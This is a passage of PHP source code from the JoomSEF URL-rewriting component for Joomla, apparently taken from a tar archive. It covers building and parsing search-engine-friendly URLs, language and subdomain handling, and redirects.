'Itemid'); foreach($vars as $name => $value) { if (in_array($name, $noAdd)) { continue; } // Arrays support $this->_addValue($title, $value); } $newUri = $uri; if (count($title) > 0) { $newUri = JoomSEF::_sefGetLocation($uri, $title, null, null, null, $lang); } return $newUri; } } ?>com_sef/joomsef.php000066600000421003150771500630010342 0ustar00_data=$data; } static function set($name, $value) { if (!is_array(self::$props)) { self::$props = array(); } $previous = self::get($name); self::$props[$name] = $value; return $previous; } static function get($name, $default = null) { if (!is_array(self::$props) || !isset(self::$props[$name])) { return $default; } return self::$props[$name]; } /** * Calls require_once in an isolated function to prevent overwriting any * local variables * * @param string $file */ protected static function _isolatedRequireOnce($file) { require_once($file); } /** * Tries to create a new router object for given component, returns NULL * if object not supported * * @staticvar JComponentRouterInterface[] $cache * @param string $component Component name in format "com_xxx" * @return \JComponentRouterInterface */ protected static function getComponentRouter($component) { static $cache = array(); if (!array_key_exists($component, $cache)) { $router = null; $compName = ucfirst(substr($component, 4)); $class = $compName.'Router'; if (class_exists($class)) { // Check if it supports the Joomla router interface, because // some components use classes with the same name causing // fatal error then (eg. EasyBlog) $reflection = new ReflectionClass($class); if (in_array('JComponentRouterInterface', $reflection->getInterfaceNames())) { // Create the router object $app = JFactory::getApplication(); $menu = $app->getMenu('site'); $router = new $class($app, $menu); } } // If router class not supported, create legacy router object (Joomla 3) if (!$router && class_exists('JComponentRouterLegacy')) { $router = new JComponentRouterLegacy($compName); } // Cache the router object $cache[$component] = $router; } return $cache[$component]; } static function build(&$uri,$check=false) { static $extsCache; if (!isset($extsCache)) { $extsCache = array(); } $mainframe = JFactory::getApplication(); $jRouter = $mainframe->getRouter(); $jRouter->SetMode(JROUTER_MODE_SEF); $config = JFactory::getConfig(); $sefConfig = SEFConfig::getConfig(); $cache = SEFCache::getInstance(); // Restore global "Add suffix to URLs" $sefSuffix = JoomSEF::get('sef.global.orig_sef_suffix'); $config->set('sef_suffix', $sefSuffix); // trigger onSefStart patches $mainframe->triggerEvent('onSefStart'); // Do not SEF URLs with specific format or template according to configuration if (in_array($uri->getVar('format'), array('raw', 'json', 'xml')) || ($uri->getVar('tmpl') == 'raw') || (!$sefConfig->sefComponentUrls && ($uri->getVar('tmpl') == 'component'))) { $uri = JoomSEF::_createUri($uri); $mainframe->triggerEvent('onSefEnd'); $jRouter->SetMode(JROUTER_MODE_RAW); return; } // check URL for junk if set to $vars = $uri->getQuery(true); if ($sefConfig->checkJunkUrls) { $junkWords = $sefConfig->getJunkWords(); $seferr = false; if (substr($uri->getVar('option', ''), 0, 4) != 'com_') { $seferr = true; } elseif (count($junkWords)) { $exclude = $sefConfig->getJunkExclude(); foreach ($vars as $key => $val) { if (in_array($key, $exclude)) continue; // Check junk words foreach ($junkWords as $word) { if (is_string($val)) { if (strpos($val, $word) !== false) { $seferr = true; break; } } } if ($seferr) break; } } if ($seferr) { // trigger onSefEnd patches $mainframe->triggerEvent('onSefEnd'); $jRouter->SetMode(JROUTER_MODE_RAW); // fix the path $path = $uri->getPath(); return; } } // Handle lang variable if ($sefConfig->langEnable && $check == false) { $langs = JLanguageHelper::getLanguages('sef'); $langsCode = JLanguageHelper::getLanguages('lang_code'); $langVar = $uri->getVar('lang'); if (empty($langVar)) { $langVar = JRequest::getVar('lang'); $uri->setVar('lang', $langVar); } // Check for non-existent language if (!isset($langs[$langVar])) { // Not a SEF code, check for long code if (isset($langsCode[$langVar])) { // Fix the code to short version $uri->setVar('lang', $langsCode[$langVar]->sef); } else { // Non-existent language, use current $curLang = JFactory::getLanguage(); $uri->setVar('lang', $langsCode[$curLang->getTag()]->sef); } } // Check for mismatched language and Itemid? if ($sefConfig->mismatchedLangHandling != _COM_SEF_MISMATCHED_LANG_DONT_HANDLE) { $langVar = $uri->getVar('lang'); $itemidVar = $uri->getVar('Itemid'); if (!empty($langVar) && !empty($itemidVar)) { // Get menu item language $menu = $mainframe->getMenu('site'); $item = $menu->getItem($itemidVar); if (is_object($item) && !empty($item->language) && ($item->language != '*')) { if ($langsCode[$item->language]->sef != $langVar) { if ($sefConfig->mismatchedLangHandling == _COM_SEF_MISMATCHED_LANG_DONT_SEF) { // Don't SEF $mainframe->triggerEvent('onSefEnd'); $jRouter->SetMode(JROUTER_MODE_RAW); return; } else { // Fix lang variable $uri->setVar('lang', $langsCode[$item->language]->sef); } } } } } } // Correct FaLang support for translations $prevLang = ''; if ($sefConfig->langEnable && $check == false) { $langVar = $uri->getVar('lang'); if (!empty($langVar)) { $langCode = JoomSEF::getLangCode($langVar); if (!is_null($langCode)) { $curCode = JoomSEF::getLangCode(); if ($langCode != $curCode) { // URL language is different from current language, // change current language for correct translations $language = JFactory::getLanguage(); $prevLang = $language->setLanguage($langCode); // 6.12.2012 dajo: Make sure that loaded language overwrites current strings! $language->load('joomla', JPATH_BASE, null, true); } } } } // if there are no variables and only single language is used $vars = $uri->getQuery(true); if (empty($vars) && !isset($lang)) { JoomSEF::_endSef($prevLang); return; } $option = $uri->getVar('option'); if (!is_null($option)) { $params =& SEFTools::getExtParams($option); // Check the stop rule $stopRule = trim($params->get('stopRule', '')); if( $stopRule != '' ) { if( preg_match('/'.$stopRule.'/', $uri->toString()) > 0 ) { // Don't SEF this URL $uri = JoomSEF::_createUri($uri); JoomSEF::_endSef($prevLang); $jRouter->SetMode(JROUTER_MODE_RAW); return; } } if(strlen($uri->getVar('Itemid'))==0) { $uri->delVar('Itemid'); } $handling = $params->get('handling', '0'); switch($handling) { // skipped extensions case '2': { // Check homepage if (JoomSEF::_isHomePage($uri)) { $lang = $uri->getVar('lang'); if (empty($lang)) { JoomSefUri::updateUri($uri, 'index.php'); } else { JoomSefUri::updateUri($uri, 'index.php?lang='.$lang); } } // Build URL $uri = JoomSEF::_createUri($uri); JoomSEF::_endSef($prevLang); $jRouter->SetMode(JROUTER_MODE_RAW); return; } // non-cached extensions case '1': { // Check homepage if (JoomSEF::_isHomePage($uri)) { $lang = $uri->getVar('lang'); if (empty($lang)) { JoomSefUri::updateUri($uri, 'index.php'); } else { JoomSefUri::updateUri($uri, 'index.php?lang='.$lang); } } JoomSEF::_endSef($prevLang); return; } // default handler or basic rewriting default: { // if component has its own sef_ext plug-in included. // however, prefer own plugin if exists (added by Michal, 28.11.2006) $compExt = JPATH_ROOT.'/components/'.$option.'/router.php'; $ownExt = JPATH_ROOT.'/components/com_sef/sef_ext/'.$option.'.php'; // compatible extension build block if (file_exists($compExt) && !file_exists($ownExt) && ($handling == '0')) { // Check homepage if (JoomSEF::_isHomePage($uri)) { $lang = $uri->getVar('lang'); if (empty($lang)) { JoomSefUri::updateUri($uri, 'index.php'); } else { JoomSefUri::updateUri($uri, 'index.php?lang='.$lang); } // Create homepage SEF URL $title = array(); $data = JoomSEF::_sefGetLocation($uri, $title, null, null, null, $uri->getVar('lang')); $uri = JoomSEF::_storeLocation($data); // remove path as Joomla will add it back $uri->setPath(preg_replace("@^".$uri->base(true)."@","",$uri->getPath())); // Disable global "Add suffix to URLs" again $config->set('sef_suffix', 0); JoomSEF::_endSef($prevLang); return; } // load the plug-in file self::_isolatedRequireOnce($compExt); $app = JFactory::getApplication(); $menu = $app->getMenu('site'); $route = $uri->getPath(); $query = $uri->getQuery(true); $component = preg_replace('/[^A-Z0-9_\.-]/i', '', $query['option']); // Replace limitstart -> start, which is default Joomla's behaviour if (isset($query['limitstart'])) { $query['start'] = (int) $query['limitstart']; unset($query['limitstart']); } // Get component router object if supported $componentRouter = self::getComponentRouter($component); if ($componentRouter) { // Use the new Joomla 3 interface $parts = $componentRouter->build($query); } else { // Use old procedural approach $function = substr($component, 4) . 'BuildRoute'; $parts = $function($query); } if (!is_array($parts)) { if (is_string($parts)) { $parts = array($parts); } else { // Don't SEF JoomSEF::_endSef($prevLang); // Disable global "Add suffix to URLs" again $config->set('sef_suffix', 0); return; } } $total = count($parts); for ($i = 0; $i < $total; $i++) { $parts[$i] = str_replace(':', '-', $parts[$i]); } $result = implode('/', $parts); $tmp = ($result != "") ? '/'.$result : ''; // build the application route $built = false; if (isset($query['Itemid']) && !empty($query['Itemid'])) { $item = $menu->getItem($query['Itemid']); if (is_object($item) && $query['option'] == $item->component) { $tmp = !empty($tmp) ? $item->route.$tmp : $item->route; $built = true; } } if(!$built) { $tmp = 'component/'.substr($query['option'], 4).$tmp; } $route .= '/'.$tmp; if($app->getCfg('sef_suffix') && !(substr($route, -9) == 'index.php' || substr($route, -1) == '/')) { if (($format = $uri->getVar('format', 'html'))) { $route .= '.' . $format; $uri->delVar('format'); } } if($app->getCfg('sef_rewrite')) { // transform the route $route = str_replace('index.php/', '', $route); } // Unset unneeded query information unset($query['Itemid']); unset($query['option']); //Set query again in the URI $uri->setQuery($query); $uri->setPath($route); $uri = JoomSEF::_createUri($uri); JoomSEF::_endSef($prevLang); // Disable global "Add suffix to URLs" again $config->set('sef_suffix', 0); return; } // own extension block else { // Disable global "Add suffix to URLs" $config->set('sef_suffix', 0); if ($handling == '3') { // Basic rewriting $class = 'SefExt_Basic'; } else { if (file_exists($ownExt)) { $class = 'SefExt_'.$option; } else { $class = 'SefExt'; } } // Extensions cache if (!class_exists($class)) { require($ownExt); } $sef_ext = new $class(); $extsCache[$class] = $sef_ext; // Set currently handled URI $sef_ext->setCurrentUri($uri); // 17.2.2012, dajo: isHomePage should be tested before the beforeCreate() is called // Grr Joomla SEF router adds home Itemid to Items without menu Item assigned $homes=array_keys(SEFTools::getHomeQueries()); if(in_array($uri->getVar('Itemid'),$homes) && !JoomSEF::_isHomePage($uri)) { $uri->setVar('Itemid',JRequest::getInt('Itemid')); } // Let the extension change the url and options $sef_ext->beforeCreate($uri); list($sid, $mosmsg) = self::_prepareUriForCreate($params, $uri); // Get nonsef and ignore vars from extension list($nonSefVars, $ignoreVars) = $sef_ext->getNonSefVars($uri); // Create array of all the non sef vars $nonSefVars = SEFTools::getNonSefVars($uri, $nonSefVars, $ignoreVars); // Create a copy of JURI object $uri2 = clone($uri); // Remove nonsef variables from our JURI copy $nonSefUrl = SEFTools::RemoveVariables($uri2, array_keys($nonSefVars)); // Check homepage if (JoomSEF::_isHomePage($uri2, true)) { $title = array(); $lng = $uri2->getVar('lang'); if ($sefConfig->langEnable && ($sefConfig->langPlacementJoomla != _COM_SEF_LANG_DOMAIN) && ($sefConfig->alwaysUseLangHomeJoomla || ($lng != $sefConfig->mainLanguageJoomla))) { $title[] = $lng; } $pagination=false; if(method_exists($sef_ext,"_processPagination")) { $title=array_merge($title,$sef_ext->_processPagination($uri2)); $pagination=true; } if($uri2->getVar('format')=='feed') { $title[]=$uri2->getVar('type'); } $data = JoomSEF::_sefGetLocation($uri2, $title, null, null, null, $uri->getVar('lang'),null,null,null,null,$pagination); unset($data["lang"]); // We need to copy data, otherwise we would return $uri2 object - not working in Joomla 3 JoomSefUri::copyUri(JoomSEF::_storeLocation($data), $uri); // remove path as Joomla will add it back $uri->setPath(preg_replace("@^".$uri->base(true)."@","",$uri->getPath())); // Set non-SEF variables $uri->setQuery($nonSefUrl); // Set domain if ($sefConfig->langEnable && ($sefConfig->langPlacementJoomla == _COM_SEF_LANG_DOMAIN)) { if (!empty($lng) && isset($sefConfig->subDomainsJoomla[$lng])) { $uri = SEFTools::createDomainUri($uri, $sefConfig->subDomainsJoomla[$lng]); } } JoomSEF::_endSef($prevLang); return; } // clean Itemid if desired // David: only if overriding is disabled $override = $params->get('itemid', '0'); if (isset($sefConfig->excludeSource) && $sefConfig->excludeSource && ($override == '0')) { $Itemid = $uri->getVar('Itemid'); $uri2->delVar('Itemid'); } $url = JoomSEF::_uriToUrl($uri2); // try to get url from cache $sefUrl = false; if ($sefConfig->useCache) { if(!$check) { $sefUrl = $cache->GetSefUrl($url); } } if (!$sefConfig->useCache || !$sefUrl) { // check if the url is already saved in the database $sefUrl = $sef_ext->getSefUrlFromDatabase($uri2); if (is_string($sefUrl)) { // Backward compatibility $sefstring = $sefUrl; $sefUrl = new stdClass(); $sefUrl->sefurl = $sefstring; $sefUrl->sef = 1; $sefUrl->host = ''; } } // unknown URL yet if (!$sefUrl || $check) { // load JoomSEF Language File JFactory::getLanguage()->load('com_sef',JPATH_ADMINISTRATOR); // rewrite the URL, creating new JURI object $data = $sef_ext->create($uri); if (is_object($data) && is_a($data, 'JURI')) { // Backwards compatibility JoomSefUri::copyUri($data, $uri); } else { if($sefConfig->langPlacementJoomla==_COM_SEF_LANG_PATH) { // if data is not array, then we don't have in lang language from SEF extension, because it's original URL if(is_array($data)) { if($data['lang']=='*') { // If we don't want to have language in multilanguage content strip down the language from path to eleminate duplicit pages with same content if($sefConfig->addLangMulti) { $data["lang"]=$data["uri"]->getVar('lang'); } else { unset($data["lang"]); $data["uri"]->delVar('lang'); } } else { $langs=JLanguageHelper::getLanguages('lang_code'); if(array_key_exists($data["lang"],$langs)) { $data["lang"]=$langs[$data["lang"]]->sef; } if(!strlen($data["lang"])) { $data["lang"]=$data["uri"]->getVar('lang'); } } } if($sefConfig->alwaysUseLangJoomla==false) { if(isset($data["lang"]) && $data["lang"]==$sefConfig->mainLanguageJoomla) { unset($data["lang"]); $data["uri"]->delVar('lang'); } } } $titlepage=false; $subdomain=SEFTools::getSubdomain($uri->getVar('Itemid'),$uri,$titlepage); if(strlen($subdomain)) { $curHost = JFactory::getURI()->getHost(); if (substr($curHost, 0, 4) == 'www.') { $curHost = substr($curHost, 4); } $uri = SEFTools::createDomainUri($uri, $subdomain.'.'.$curHost); } if($titlepage) { $data["title"]=array(); } if(!isset($data["host"])) { $data["host"]=$uri->getHost(); } if($check) { $this->_data=$data; } // 12.11.2012 dajo: Itemid must be removed in _storeLocation after the menu title is removed too /*if (isset($sefConfig->excludeSource) && $sefConfig->excludeSource && ($override == '0')) { if (isset($data['uri'])) { $data['uri']->delVar('Itemid'); } }*/ $removeItemid = (isset($sefConfig->excludeSource) && $sefConfig->excludeSource && ($override == '0')); JoomSefUri::copyUri(JoomSEF::_storeLocation($data, $check, $removeItemid), $uri); } } else { // if SEF is disabled, don't SEF if (isset($sefUrl->sef) && !$sefUrl->sef) { $uri = JoomSEF::_createUri($uri); JoomSEF::_endSef($prevLang); $jRouter->SetMode(JROUTER_MODE_RAW); return; } // Create new JURI object from $sefstring if (!isset($sefUrl->host) || !strlen($sefUrl->host)) { // Don't use domain in URL if no host set $url = ''; } else { $url = JFactory::getURI()->getScheme().'://'.$sefUrl->host.JURI::root(true); } if (substr($url, -1) != '/') { $url .= '/'; } if (isset($sefUrl->sefurl)) { $url .= $sefUrl->sefurl; } // Add nonSef part if set if( !empty($nonSefUrl) ) { $url .= '?'.$nonSefUrl; } // Add fragment if set $fragment = $uri->getFragment(); if (!empty($fragment)) { $url .= '#'.$fragment; } JoomSefUri::updateUri($uri, $url); } // Set domain if ($sefConfig->langEnable && ($sefConfig->langPlacementJoomla == _COM_SEF_LANG_DOMAIN)) { $lng = $uri2->getVar('lang'); if (!empty($lng) && isset($sefConfig->subDomainsJoomla[$lng])) { $uri = SEFTools::createDomainUri($uri, $sefConfig->subDomainsJoomla[$lng]); } } // reconnect the sid to the url if (!empty($sid) && COM_SEF_CONFIG_REMOVE_SID) $uri->setVar('sid', $sid); // reconnect mosmsg to the url if (!empty($mosmsg)) $uri->setVar('mosmsg', $mosmsg); // reconnect ItemID to the url // David: only if extension doesn't set its own Itemid through overrideId parameter if (isset($sefConfig->excludeSource) && $sefConfig->excludeSource && $sefConfig->reappendSource && ($override == '0') && !empty($Itemid)) { $uri->setVar('Itemid', $Itemid); } // let the extension change the resulting SEF url $sef_ext->afterCreate($uri); } } } } else if (!is_null($uri->getVar('Itemid'))) { // there is only Itemid present - we must override the Ignore multiple sources option $oldIgnore = $sefConfig->ignoreSource; $sefConfig->ignoreSource = 0; $lang=""; $title = array(); $title[] = JoomSEF::_getMenuTitleLang(null, $lang, $uri->getVar('Itemid')); $data = JoomSEF::_sefGetLocation($uri, $title, null, null, null, strlen($lang)?$lang:$uri->getVar('lang')); $uri = JoomSEF::_storeLocation($data); $sefConfig->ignoreSource = $oldIgnore; } // #17411: Fixed removing URI base from SEF URL $base = rtrim(JUri::base(true), '/').'/'; if ($base != '/' && strpos($uri->getPath(), $base) === 0) { // Keep the starting slash $newPath = substr($uri->getPath(), strlen($base) - 1); $uri->setPath($newPath); } JoomSEF::_endSef($prevLang); // Set Joomla's router so it doesn't process URL further $jRouter->SetMode(JROUTER_MODE_RAW); } static function _prepareUriForCreate(&$params, &$uri) { $sefConfig = SEFConfig::getConfig(); // Ensure that the session IDs are removed // If set to $sid = $uri->getVar('sid'); if (COM_SEF_CONFIG_REMOVE_SID) $uri->delVar('sid'); // Ensure that the mosmsg are removed. $mosmsg = $uri->getVar('mosmsg'); $uri->delVar('mosmsg'); // override Itemid if set to $override = $params->get('itemid', '0'); $overrideId = $params->get('overrideId', ''); if (($override != '0') && ($overrideId != '')) { $uri->setVar('Itemid', $overrideId); } return array($sid, $mosmsg); } /** * Converts given language sef code to tag (eg. en => en-GB) * If given language is empty, returns current language tag */ static function getLangCode($sef = '') { if (empty($sef)) { $lang = JFactory::getLanguage(); return $lang->getTag(); } $langs = JLanguageHelper::getLanguages('sef'); if (isset($langs[$sef])) { return $langs[$sef]->lang_code; } return null; } static function getLanguage($uri) { $sefConfig = SEFConfig::getConfig(); if (!$sefConfig->langEnable) { // Use default language from Joomla or whichever plugin return; } $suffix = $sefConfig->suffix; $lang = ''; $langs = JLanguageHelper::getLanguages('sef'); JFactory::getApplication()->setLanguageFilter(true); switch($sefConfig->langPlacementJoomla) { case _COM_SEF_LANG_PATH: $lang = $uri->getVar('lang'); if (strlen($lang) == 0) { // Get language from path $path = $uri->getPath(); $suffixLen = strlen($suffix); if ($suffixLen > 0) { if (substr($path, -$suffixLen) == $suffix) { $path = substr($path, 0, -$suffixLen); } } $path = str_replace($uri->base(true), '', $path); $path = ltrim($path, '/'); $path = explode('/', $path); if (array_key_exists($path[0], $langs)) { $lang = $path[0]; } } break; case _COM_SEF_LANG_DOMAIN: // 22.2.2012, dajo: simplified and fixed the function $host = trim($uri->toString(array('host')), '/'); foreach ($sefConfig->subDomainsJoomla as $lng => $domain) { if ($host == $domain) { $lang = $lng; // Save the language code obtained from domain for later use self::set('domain_lang', $lang); break; } } break; } if (strlen($lang) == 0) { $pth = rtrim($uri->getPath(), '/'); if (substr($pth, -9) == 'index.php') { $pth = substr($pth, 0, -9); $pth = rtrim($pth, '/'); } if ($pth == rtrim(JURI::base(true), '/')) { // This is homepage if ($sefConfig->alwaysUseLangHomeJoomla || (count($uri->getQuery(true)) > 0) || (count($_POST) > 0)) { // 17.4.2013 dajo: we should also use cookie if there are some variables set, // eg. for VirtueMart's AJAX cart to display correct language // Language code must always be present, so we can use // cookie and browser setting if it's not there if ($sefConfig->langCookieJoomla) { $lang = JRequest::getString('joomsef_lang', '', 'cookie'); } if (strlen($lang) == 0 || !isset($langs[$lang])) { if ($sefConfig->browserLangJoomla) { $lang = JLanguageHelper::detectLanguage(); $langsCode = JLanguageHelper::getLanguages('lang_code'); if (isset($langsCode[$lang])) { $lang = $langsCode[$lang]->sef; } } } } // If no other language set, use the default one if (strlen($lang) == 0 || !isset($langs[$lang])) { $lang = $sefConfig->mainLanguageJoomla; } } else { // This is not homepage, so if language is not present in URL, use the default one $lang = $sefConfig->mainLanguageJoomla; } } if (strlen($lang)) { if (!isset($langs[$lang])) { $lang = reset(array_keys($langs)); } $lang_code = $langs[$lang]->lang_code; $cfg = JFactory::getConfig(); $cfg->set('language', $lang_code); JRequest::setVar('lang', $lang); JRequest::setVar('language', $lang_code); // #14613: Instantiate new JLanguage object if required, otherwise // language overrides are not loaded and global texts may not be translated if (JFactory::getLanguage()->getTag() != $lang_code) { // Instantiate new JLanguage object and set it to JFactory $jLang = new JLanguage($lang_code, JFactory::getLanguage()->getDebug()); JFactory::$language = $jLang; // Make sure the main application object uses our new JLanguage object $app = JFactory::getApplication(); if (method_exists($app, 'loadLanguage')) { $app->loadLanguage(); } // #23150: Load library language files if (!$jLang->load('lib_joomla', JPATH_SITE, null, false, true)) { $jLang->load('lib_joomla', JPATH_ADMINISTRATOR, null, false, true); } } if ($sefConfig->langCookieJoomla && !headers_sent()) { setcookie('joomsef_lang', $lang, time()+24*60*60*1000, "/"); } JFactory::getLanguage()->getMetadata($lang_code); // Set correct sitename if (!empty($langs[$lang]->sitename)) { $cfg->set('sitename', $langs[$lang]->sitename); } // Set VM currency if enabled if ($sefConfig->vmCurrencyEnable) { if (isset($sefConfig->vmCurrency[$lang]) && !is_null($sefConfig->vmCurrency[$lang])) { $app = JFactory::getApplication(); $app->setUserState('virtuemart_currency_id', $sefConfig->vmCurrency[$lang]); } } } } static function parse(&$uri) { $sefConfig = SEFConfig::getConfig(); $langs=JLanguageHelper::getLanguages('sef'); // add base path, as Joomla does not send it but we count on it $uri->setPath(JURI::base(true) . '/' . $uri->getPath()); $url_query=$uri->getQuery(); $host=explode(".",$uri->getHost()); $subdomain=array_shift($host); $db=JFactory::getDBO(); // Subdomain titlepage if(($uri->getPath()==JURI::base(true).'/') && empty($url_query) && empty($_POST)) { $query=$db->getQuery(true); $query->select('Itemid_titlepage')->from('#__sef_subdomains'); $query->where('subdomain='.$db->quote($subdomain)); if($sefConfig->langEnable) { $lang=JRequest::getVar('lang'); $query->where('lang='.$db->quote($lang)); } $db->setQuery($query, 0, 1); $Itemid=$db->loadResult(); if($sefConfig->langEnable==1 && $sefConfig->alwaysUseLangHomeJoomla && $Itemid>0) { SEFTools::redirect($uri->base(true).'/'.$lang, true); } else { if($Itemid>0) { $uri->setVar('Itemid',$Itemid); JoomSEF::set('real_domain', JFactory::getUri()->getHost()); JFactory::getUri()->setHost(implode(".",$host)); } } } else if(empty($url_query) && empty($_POST) && $sefConfig->langEnable) { $query=$db->getQuery(true); $query->select('Itemid_titlepage')->from('#__sef_subdomains'); $query->where('subdomain='.$db->quote($subdomain)); $lang=JRequest::getVar('lang'); $query->where('lang='.$db->quote($lang)); $db->setQuery($query, 0, 1); $Itemid=$db->loadResult(); if($Itemid>0) { $uri->setVar('Itemid',$Itemid); JoomSEF::set('real_domain', JFactory::getUri()->getHost()); JFactory::getUri()->setHost(implode(".",$host)); } } else { $query=$db->getQuery(true); $query->select('COUNT(*)')->from('#__sef_subdomains')->where('subdomain='.$db->quote($subdomain)); $db->setQuery($query); $cnt=$db->loadResult(); if($cnt) { JoomSEF::set('real_domain', JFactory::getUri()->getHost()); JFactory::getUri()->setHost(implode(".",$host)); } } // Set Joomla's router so it doesn't process URL further $mainframe = JFactory::getApplication(); $jRouter = $mainframe->getRouter(); $jRouter->SetMode(JROUTER_MODE_DONT_PARSE); // store the old URI before we change it in case we will need it // for default Joomla SEF $oldUri = clone $uri; // load patches JPluginHelper::importPlugin('sefpatch'); // trigger onSefLoad patches $mainframe->triggerEvent('onSefLoad'); // get path $path = $uri->getPath(); // remove basepath $path = substr_replace($path, '', 0, strlen(JURI::base(true))); // remove slashes $path = ltrim($path, '/'); // Redirect URL with / on the end to URL without / on the end if ($sefConfig->redirectSlash) { if ($path != '/' && $path != $uri->base(true).'/' && substr($path, -1) == '/') { // Check if the SEF URL without trailing slash exists if set to if ($sefConfig->redirectSlash == COM_SEF_REDIRECT_SLASH_EXISTING) { $db->setQuery("SELECT `id` FROM `#__sefurls` WHERE `sefurl` = ".$db->quote(rtrim($path, '/'))." AND `enabled` = 1"); $sefId = $db->loadResult(); if ($sefId) { // URL without trailing slash exists, redirect SEFTools::redirect($uri->base(true).'/'.rtrim($path, '/'), false); } } else if ($sefConfig->redirectSlash == COM_SEF_REDIRECT_SLASH_ALWAYS) { SEFTools::redirect($uri->base(true).'/'.rtrim($path, '/'), false); } } } $request=$_SERVER["REQUEST_URI"]; $route=str_replace($uri->getPath(),'',$request); $route=str_replace("?".$uri->getQuery(),'',$route); // Redirect the index.php (need to check this before index.php removal) // 29.11.2012 dajo: Redirect only pure index.php if ($sefConfig->fixIndexPhp && ($route == 'index.php') && (count($uri->getQuery(true)) == 0) && (count($_POST) == 0)) { $newUrl = JURI::root(); if (substr($newUrl, -1) != '/') { $newUrl .= '/'; } $q = $uri->getQuery(); if (!empty($q)) { $newUrl .= '?'.$q; } SEFTools::redirect($newUrl, true); } // fix Joomla URLs with index.php/ $path = preg_replace('#^index\\.php\\/#i', '', $path); // Redirect root URL to URL with language code if ($sefConfig->langEnable) { if (($sefConfig->langPlacementJoomla == _COM_SEF_LANG_PATH) && $sefConfig->alwaysUseLangHomeJoomla) { $query=$uri->getQuery(true); if (str_replace($uri->base(true), "", $uri->getPath()) == '/' && empty($query) && empty($_POST)) { $home_items=SEFTools::getHomeQueries(); $lang=$langs[JRequest::getVar('lang')]->lang_code; $uself=JPluginHelper::isEnabled('system','languagefilter'); $usefalang=JPluginHelper::isEnabled('system','falangdriver'); foreach($home_items as $id=>$item) { if ($usefalang) { if ($item->language == '*') { $Itemid = $item->id; $link = $item->link; break; } } else { if ($item->language == $lang || ($langs[JRequest::getVar('lang')]->sef == $sefConfig->mainLanguageJoomla && $item->language == '*')) { $Itemid = $item->id; $link = $item->link; // Don't break, we may find other item that fits better } } } // Add Itemid to link $link .= (strpos($link, '?') === false ? '?' : '&') . 'Itemid=' . $Itemid; SEFTools::redirect(JRoute::_($link), ($sefConfig->rootLangRedirect303 ? false : true)); } } } // Remove language code and redirect for main language if set to if ($sefConfig->langEnable && ($sefConfig->langPlacementJoomla == _COM_SEF_LANG_PATH) && (!$sefConfig->alwaysUseLangJoomla || !$sefConfig->alwaysUseLangHomeJoomla) && empty($_POST)) { $langSefLen = strlen($sefConfig->mainLanguageJoomla); if (substr($path, 0, $langSefLen) == $sefConfig->mainLanguageJoomla) { // Main language is in the path if (strlen($path) == $langSefLen) { // Root URL $query = $uri->getQuery(true); if (!$sefConfig->alwaysUseLangHomeJoomla && empty($query)) { // Redirect $link = JURI::root(true); SEFTools::redirect($link, true); } } else { // Not root URL if ($path[$langSefLen] == '/' && !$sefConfig->alwaysUseLangJoomla) { // Redirect $link = rtrim(JURI::root(true), '/').substr($path, $langSefLen); $query = $uri->getQuery(); if (!empty($query)) { $link .= '?'.$query; } SEFTools::redirect($link, true); } } } } // Try the 301 Alias redirect if (count($_POST) == 0) { Joomsef::_parseAlias($path, $uri->getQuery(true)); } // remove prefix (both index.php and index2.php) //$path = eregi_replace('^index2?.php', '', $path); $path = preg_replace('/^index2?.php/i', '', $path); // remove slashes again to be sure there aren't any left $path = ltrim($path, '/'); // replace spaces with our replacement character // (mainly for '+' handling, but may be useful in some other situations too) $path = str_replace(' ', $sefConfig->replacement, $path); // set the route $uri->setPath($path); // parse the url $vars = JoomSEF::_parseSefUrl($uri, $oldUri); // Check https redirect self::_checkForcedSsl(); // handle custom site name for extensions if (isset($vars['option'])) { $params =& SEFTools::getExtParams($vars['option']); $useSitename = $params->get('useSitename', '1'); $customSitename = trim($params->get('customSitename', '')); $config = JFactory::getConfig(); if ($useSitename == '0') { // don't use site name $config->set('sitename', ''); } elseif (!empty($customSitename)) { // use custom site name $config->set('sitename', $customSitename); } } // trigger onSefUnload patches $mainframe->triggerEvent('onSefUnload'); return $vars; } /** * Checks if the current protocol is SSL and redirects to https if necessary */ static function _checkForcedSsl() { $sefConfig = SEFConfig::getConfig(); $uri = JUri::getInstance(); if ($sefConfig->forceSsl && empty($_POST) && $uri->getScheme() == 'http') { // Redirect current URL from http to https $uri->setScheme('https'); SEFTools::redirect($uri->toString(), true); } } static function _parseSefUrl(&$uri, &$oldUri) { $mainframe = JFactory::getApplication(); $db = JFactory::getDBO(); $sefConfig = SEFConfig::getConfig(); $route = $uri->getPath(); //Get the variables from the uri $vars = $uri->getQuery(true); // Should we generate canonical link automatically? $generateCanonical = (count($vars) > 0); // handle an empty URL (special case) if (empty($route) || $route==JRequest::getVar('lang')) { if (count($vars) > 0) { $redir = false; } else { $redir = true; } $menu = $mainframe->getMenu('site'); // TODO: handle metatags for subdomains correctly // if route is empty AND option is set in the query, assume it's non-sef url, and parse apropriately if (isset($vars['option']) || isset($vars['Itemid'])) { return JoomSEF::_parseRawRoute($uri); } //$item = $menu->getDefault(); // Workaround until Joomla menu bug will be fixed $langs=JLanguageHelper::getLanguages('sef'); $items = null; if (isset($langs[JRequest::getVar('lang')])) { $items=$menu->getItems(array('home','language'),array('1',$langs[JRequest::getVar('lang')]->lang_code)); } if (!is_array($items) || (count($items) == 0)) { $items = $menu->getItems(array('home'), array('1')); } $item=$items[0]; //Set the information in the request $vars = $item->query; //Get the itemid $vars['Itemid'] = $item->id; // Set the active menu item $menu->setActive($vars['Itemid']); // Create automatic canonical link if set to if ($generateCanonical) { $extAuto = 2; if (isset($vars['option'])) { $params =& SEFTools::getExtParams($vars['option']); $extAuto = $params->get('autoCanonical', 2); } $autoCanonical = ($extAuto == 2) ? $sefConfig->autoCanonical : $extAuto; if ($autoCanonical) { JoomSEF::set('sef.link.canonical', JURI::root()); } } // MetaTags for frontpage if (JPluginHelper::isEnabled('system', 'joomsef')) { // ... and frontpage has meta tags // Get all the URLs for frontpage and try to find the correct one $lang = JRequest::getVar('lang'); $query = "SELECT * FROM #__sefurls WHERE sefurl = ".$db->quote($route)." ORDER BY `priority`"; $db->setQuery($query); $sefRows = $db->loadObjectList(); if (is_array($sefRows)) { $count = count($sefRows); if ($count == 1) { // Use the only one $sefRow = $sefRows[0]; } else if ($count > 1) { // Loop through URLs and find the one corresponding to menu item and possibly language foreach ($sefRows as $row) { // Check if variables match $varsOk = true; parse_str(str_replace('index.php?', '', $row->origurl), $rowVars); foreach ($vars as $varKey => $varVal) { if ($varKey == 'Itemid') { if ($row->Itemid != $varVal) { $varsOk = false; break; } } else { if (!isset($rowVars[$varKey]) || ($rowVars[$varKey] != 